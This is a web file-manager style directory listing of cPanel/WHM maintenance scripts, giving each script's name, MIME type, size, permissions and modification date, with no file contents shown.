-rwxr-xr-x
2024-03-04 05:44:29
convert2dovecot
text/x-perl
682 B
-rwxr-xr-x
2024-03-04 05:44:29
convert_accesshash_to_token
text/x-perl
4.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_and_migrate_from_legacy_backup
text/x-perl
1.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_maildir_to_mdbox
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_mdbox_to_maildir
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_roundcube_mysql2sqlite
text/x-perl
26.12 KB
-rwxr-xr-x
2025-03-20 10:57:16
convert_to_dovecot_delivery
text/x-perl
4.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_whmxfer_to_sqlite
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_root
text/x-perl
1.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_user
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpaddonsup
text/x-perl
3.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpan_config
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanel_initial_install
text/x-perl
67.16 KB
-rwxr-xr-x
2025-08-07 10:57:42
cpanelsync
text/x-perl
28.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanelsync_postprocessor
text/x-perl
1.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanpingtest
text/x-perl
965 B
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup
text/x-perl
44.79 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup_transport_file
text/x-perl
5.65 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpdig
text/x-perl
2.09 KB
-rwxr-xr-x
2024-06-24 01:40:23
cpfetch
text/x-perl
1.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdblacklist
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdwhitelist
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpservice
text/x-perl
2.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_port_authority
text/x-perl
19.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_service_manager
text/x-perl
10.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
createacct
27.78 MB
-rwx------
2025-10-16 10:57:28
custom_backup_destination.pl.sample
text/x-perl
5.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
custom_backup_destination.pl.skeleton
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
dcpumon-wrapper
text/x-perl
850 B
-rwxr-xr-x
2024-03-04 05:44:29
delpop
text/x-perl
6.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
detect_env_capabilities
text/x-perl
508 B
-rwxr-xr-x
2024-03-04 05:44:29
disable_prelink
text/x-perl
2.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
disable_sqloptimizer
text/x-perl
1.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
disablefileprotect
text/x-perl
2.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
distro_changed_hook
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnscluster
text/x-perl
4.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnsqueuecron
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnssec-cluster-keys
text/x-perl
3.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
dovecot_maintenance
text/x-perl
7.66 KB
-rwxr-xr-x
2025-04-15 10:57:19
dovecot_set_defaults.pl
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpcdb
text/x-perl
866 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpinodes
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpquotas
text/x-perl
616 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpstor
text/x-perl
913 B
-rwxr-xr-x
2024-03-04 05:44:29
ea4_fresh_install
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
edit_cpanelsync_exclude_list
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
editquota
text/x-perl
3.43 KB
-rwxr-xr-x
2024-03-04 05:44:29
elevate-cpanel
386.27 KB
-rwx------
2025-10-26 11:00:34
email_archive_maintenance
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
email_hold_maintenance
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_spf_dkim_globally
text/x-perl
8.83 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_sqloptimizer
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
enablefileprotect
text/x-perl
2.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_autoenabled_features
3.01 MB
-rwx------
2025-10-16 10:57:38
ensure_conf_dir_crt_key
text/x-perl
4.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_cpuser_file_ip
text/x-perl
2.55 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_crontab_permissions
text/x-perl
1.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_dovecot_memory_limits_meet_minimum
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_hostname_resolves
text/x-perl
2.51 KB
-rwxr-xr-x
2025-03-26 10:57:15
ensure_includes
text/x-perl
601 B
-rwxr-xr-x
2024-03-04 05:44:29
ensure_vhost_includes
text/x-perl
13.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
exim_tidydb
text/x-perl
2.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximconfgen
text/x-perl
1.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximstats_spam_check
text/x-perl
867 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_certificates_from_sslstorage
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_pkgacct_sessions
text/x-perl
852 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_transfer_sessions
text/x-perl
1.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
fastmail
text/x-perl
5.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
featuremod
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
fetchfile
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
find_and_fix_rpm_issues
text/x-perl
6.99 KB
-rwxr-xr-x
2024-08-22 10:57:25
find_outdated_services
text/x-perl
6.06 KB
-rwxr-xr-x
2024-06-24 01:38:23
find_pids_with_inotify_watch_on_path
text/x-perl
3.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-cpanel-perl
text/x-perl
28.22 KB
-rwxr-xr-x
2025-10-16 10:57:36
fix-listen-on-localhost
text/x-perl
3.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-web-vhost-configuration
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_addon_permissions
text/x-perl
7.69 KB
-rwxr-xr-x
2025-06-09 10:57:21
fix_dns_zone_ttls
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_innodb_tables
text/x-perl
4.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_reseller_acls
text/x-perl
10.7 KB
-rwxr-xr-x
2025-06-09 10:57:31
fixetchosts
text/x-perl
4.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixheaders
text/x-perl
572 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailinglistperms
text/x-perl
1008 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailman
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixnamedviews
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixndc
text/x-perl
413 B
-rwxr-xr-x
2024-03-04 05:44:29
fixquotas
text/x-perl
18.39 KB
-rwxr-xr-x
2024-08-22 10:57:29
fixrelayd
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixrndc
text/x-perl
16.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixtar
text/x-perl
503 B
-rwxr-xr-x
2024-03-04 05:44:29
fixtlsversions
text/x-perl
4.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixvaliases
text/x-perl
2 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixwebalizer
text/x-perl
966 B
-rwxr-xr-x
2024-03-04 05:44:29
forcelocaldomain
text/x-perl
895 B
-rwxr-xr-x
2024-03-04 05:44:29
ftpfetch
text/x-perl
2.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpquotacheck
text/x-perl
8.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpsfetch
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpupdate
text/x-perl
261 B
-rwxr-xr-x
2024-03-04 05:44:29
gather_update_log_stats
4.25 KB
-rwx------
2025-10-21 07:53:57
gather_update_logs_setupcrontab
5.45 KB
-rwx------
2025-10-21 07:53:57
gemwrapper
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
gencrt
text/x-perl
6.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_account_suspension_include
text/x-perl
5.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_credentials
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_oauth_uri
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
generate_maildirsize
text/x-perl
13.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
gensysinfo
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
get_locale_from_legacy_name_info
text/x-perl
1.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
getremotecpmove
text/x-perl
12.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
grpck
text/x-perl
1.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
hackcheck
text/x-perl
3.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
hook
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
httpspamdetect
text/x-perl
2.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
hulk-unban-ip
3.97 MB
-rwx------
2025-10-16 10:57:31
import_exim_data
text/x-perl
8.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
increase_filesystem_limits
text/x-perl
891 B
-rwxr-xr-x
2024-03-04 05:44:29
initacls
text/x-perl
4.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
initfpsuexec
text/x-shellscript
444 B
-rwxr-xr-x
2024-03-04 05:44:29
initialize_360monitoring
2.76 KB
-rwx------
2025-07-25 08:58:50
initquotas
text/x-perl
19.47 KB
-rwxr-xr-x
2025-06-09 10:57:26
initsuexec
text/x-perl
4.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_cpanel_analytics
text/x-perl
1.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_dovecot_fts
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_plugin
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
installpkg
text/x-perl
575 B
-rwxr-xr-x
2024-03-04 05:44:29
installpostgres
text/x-perl
6.46 KB
-rwxr-xr-x
2025-06-09 10:57:30
installsqlite3
text/x-perl
1.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipcheck
text/x-perl
3.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipusage
text/x-perl
7.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
isdedicatedip
text/x-perl
602 B
-rwxr-xr-x
2024-03-04 05:44:29
jetbackup-check
text/x-perl
3.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
killdns
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
killdns-dnsadmin
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killmysqluserprivs
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
killmysqlwildcard
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killpvhost
text/x-perl
853 B
-rwxr-xr-x
2024-03-04 05:44:29
killspamkeys
text/x-perl
937 B
-rwxr-xr-x
2024-03-04 05:44:29
link_3rdparty_binaries
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
linksubemailtomainacct
text/x-perl
3.17 KB
-rwxr-xr-x
2024-03-04 05:44:29
listcheck
text/x-perl
538 B
-rwxr-xr-x
2024-03-04 05:44:29
listsubdomains
text/x-perl
1.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
litespeed-check
text/x-perl
3.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_export
text/x-perl
5.21 KB
-rwxr-xr-x
2025-04-15 10:57:21
locale_import
text/x-perl
4.35 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_info
text/x-perl
3.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
logo.dat
text/plain
205 B
-rw-r--r--
2024-03-04 05:44:29
magicloader
text/x-perl
1.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
maildir_converter
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailperm
text/x-perl
16.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailscannerupdate
text/x-perl
2.42 KB
-rwxr-xr-x
2024-03-04 05:44:29
mainipcheck
text/x-perl
10 KB
-rwxr-xr-x
2024-03-04 05:44:29
maintenance
text/x-perl
46.22 KB
-rwxr-xr-x
2025-02-11 10:57:15
make_config
text/plain
407 B
-rw-r--r--
2024-03-04 05:44:29
make_hostname_unowned
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_extra_marketing
12.41 KB
-rwx------
2025-08-26 09:44:38
manage_greylisting
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_mysql_profiles
text/x-perl
16.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_ccs_to_cpdavd
text/x-perl
47.06 KB
-rwxr-xr-x
2025-02-11 10:57:16
migrate_local_ini_to_php_ini
text/x-perl
7.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_whmtheme_file_to_userdata
text/x-perl
2.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
mkwwwacctconf
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
modify_accounts
text/x-perl
4.07 KB
-rwxr-xr-x
2025-04-15 10:57:26
modify_featurelist
9.2 KB
-rwx------
2025-08-26 09:44:38
modify_packages
text/x-perl
3.64 KB
-rwxr-xr-x
2025-04-15 10:57:21
modsec_vendor
text/x-perl
15.63 KB
-rwxr-xr-x
2024-03-04 05:44:29
mysqlconnectioncheck
text/x-perl
6.72 KB
-rwxr-xr-x
2024-08-22 10:57:40
mysqlpasswd
text/x-perl
4.14 KB
-rwxr-xr-x
2024-08-22 10:57:20
named.ca
text/plain
1.57 KB
-rw-r--r--
2024-03-04 05:44:29
named.rfc1912.zones
text/plain
774 B
-rw-r--r--
2024-03-04 05:44:29
notify_expiring_certificates
text/x-perl
9.37 KB
-rwxr-xr-x
2024-03-04 05:44:29
notify_expiring_certificates_on_linked_nodes
text/x-perl
1.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
oopscheck
text/x-perl
1.12 KB
-rwxr-xr-x
2024-03-04 05:44:29
optimize_eximstats
text/x-perl
3.88 KB
-rwxr-xr-x
2024-03-04 05:44:29
patch_mail_spamassassin_compiledregexps_body_0
text/x-perl
2.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
patchfdsetsize
text/x-perl
2.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
pedquota
text/x-perl
2.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
perform_sqlite_auto_rebuild_db_maintenance
text/x-perl
1.98 KB
-rwxr-xr-x
2025-04-15 10:57:21
perlinstaller
text/x-perl
528 B
-rwxr-xr-x
2024-03-04 05:44:29
perlmods
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
php_fpm_config
text/x-perl
9.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
phpini_tidy
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
pkgacct
text/x-perl
88.03 KB
-rwxr-xr-x
2024-11-19 10:57:15
post_snapshot
text/x-perl
2.09 KB
-rwxr-xr-x
2024-08-22 10:57:19
post_sync_cleanup
text/x-perl
6.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
postupcp
text/x-shellscript
107 B
-rwxr-xr-x
2025-07-01 10:57:21
primary_virtual_host_migration
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
process_pending_cpanel_php_pear_registration
text/x-perl
2.73 KB
-rwxr-xr-x
2025-06-09 10:57:22
process_site_templates
text/x-perl
7.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
proxydomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
ptycheck
text/x-perl
724 B
-rwxr-xr-x
2024-03-04 05:44:29
purge_modsec_log
text/x-perl
1.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
purge_old_config_caches
text/x-perl
2.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
pwck
text/x-perl
708 B
-rwxr-xr-x
2024-03-04 05:44:29
quickdnslookup
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
quickwhoisips
text/x-perl
2.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
quota_auto_fix
text/x-perl
1.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
quotacheck
text/x-perl
22.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
rawchpass
text/x-perl
460 B
-rwxr-xr-x
2024-03-04 05:44:29
rdate
text/x-perl
4.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
realadduser
text/x-perl
5.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
realchpass
text/x-perl
3.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
realperlinstaller
text/x-perl
5.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
realrawchpass
text/x-perl
425 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_addons_packages_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_rpm_addons_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_bandwidthdb_root_cache
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_dbmap
text/x-perl
5.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_provider_openid_connect_links_db
text/x-perl
1.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_whm_chrome
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuilddnsconfig
text/x-perl
25.5 KB
-rwxr-xr-x
2025-06-09 10:57:25
rebuildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildinstalledssldb
text/x-perl
2.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildippool
text/x-perl
509 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuilduserssldb
text/x-perl
948 B
-rwxr-xr-x
2024-03-04 05:44:29
refresh-dkim-validity-cache
text/x-perl
5.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
regenerate_tokens
text/x-perl
2.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
remote_log_transfer
text/x-perl
11.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
remove_dovecot_index_files
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
removeacct
26.37 MB
-rwx------
2025-10-16 10:57:40
rescan_user_dovecot_fts
text/x-perl
2.98 KB
-rwxr-xr-x
2024-03-04 05:44:29
reset_mail_quotas_to_sane_values
text/x-perl
6.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetmailmanurls
text/x-perl
2.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetquotas
text/x-perl
4.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv
text/x-perl
3.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_base
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_bind
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_chkservd
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_clamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanel_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanellogd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpdavd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpgreylistd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cphulkd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpipv6
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpsrvd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_crond
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dnsadmin
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_dovecot
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_exim
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_eximstats
text/x-perl
504 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpd
text/x-perl
426 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ftpserver
text/x-perl
911 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_httpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_imap
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_inetd
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_ipaliases
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_lmtp
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_mailman
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_mysql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_named
text/x-perl
579 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_nscd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_p0f
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pdns
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pop3
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgres
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_postgresql
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_powerdns
text/x-perl
442 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_proftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_pureftpd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_queueprocd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslog
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_rsyslogd
text/x-perl
437 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_spamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_sshd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_syslogd
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_tailwatchd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_unknown
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_xinetd
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restorecpuserfromcache
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
restorepkg
44.36 MB
-rwx------
2025-10-16 10:57:45
rfc1912_zones.tar
application/x-tar
10 KB
-rw-r--r--
2024-03-04 05:44:29
rpmup
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
rsync-user-homedir.pl
text/x-perl
5.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
run_if_exists
text/x-shellscript
512 B
-rwxr-xr-x
2024-03-04 05:44:29
run_plugin_lifecycle
3.53 KB
-rwx------
2025-08-26 09:44:38
runstatsonce
text/x-shellscript
440 B
-rwxr-xr-x
2024-03-04 05:44:29
runweblogs
text/x-perl
1.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
sa-update_wrapper
text/x-perl
3.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
safetybits.pl
text/x-perl
844 B
-rwxr-xr-x
2024-03-04 05:44:29
secureit
text/x-perl
4.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
securemysql
text/x-perl
4.4 KB
-rwxr-xr-x
2024-06-24 10:57:19
securerailsapps
text/x-perl
3.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
securetmp
text/x-perl
16.76 KB
-rwxr-xr-x
2025-08-07 10:57:28
sendicq
text/x-perl
474 B
-rwxr-xr-x
2024-03-04 05:44:29
servicedomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
set_mailman_archive_perms
text/x-perl
1.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
setpostgresconfig
text/x-perl
6.04 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_greylist_db
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_modsec_db
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
setup_systemd_timer_for_plugins
3.92 KB
-rwx------
2025-08-26 09:44:38
setupftpserver
text/x-perl
10.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
setupmailserver
text/x-perl
9.39 KB
-rwxr-xr-x
2025-06-09 10:57:28
setupnameserver
text/x-perl
12.52 KB
-rwxr-xr-x
2024-08-22 10:57:34
shrink_modsec_ip_database
text/x-perl
12.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
simpleps
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
slurp_exim_mainlog
text/x-perl
5.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
smartcheck
text/x-perl
15.13 KB
-rwxr-xr-x
2025-06-09 10:57:20
smtpmailgidonly
text/x-perl
8.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
snapshot_prep
text/x-perl
5.88 KB
-rwxr-xr-x
2024-08-22 10:57:37
spamassassin_dbm_cleaner
text/x-perl
5.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamassassindisable
text/x-perl
3.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
spamboxdisable
text/x-perl
2.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
sshcontrol
text/x-perl
14.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
ssl_crt_status
text/x-perl
3.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendacct
text/x-perl
18.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
suspendmysqlusers
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
swapip
text/x-perl
3.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync-mysql-users-from-grants
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_child_accounts
text/x-perl
1.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
sync_contact_emails_to_cpanel_users_files
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
synccpaddonswithsqlhost
text/x-perl
6.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
synctransfers
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
syslog_check
text/x-perl
1.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
sysup
text/x-perl
645 B
-rwxr-xr-x
2024-03-04 05:44:29
test_sa_compiled
text/x-perl
1.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_account_as_user
text/x-perl
2.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_accounts_as_root
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress
text/x-perl
3.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress.pod
text/plain
312 B
-rw-r--r--
2024-03-04 05:44:29
transfermysqlusers
9.84 MB
-rwx------
2025-10-16 10:57:32
try-later
text/x-perl
7.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
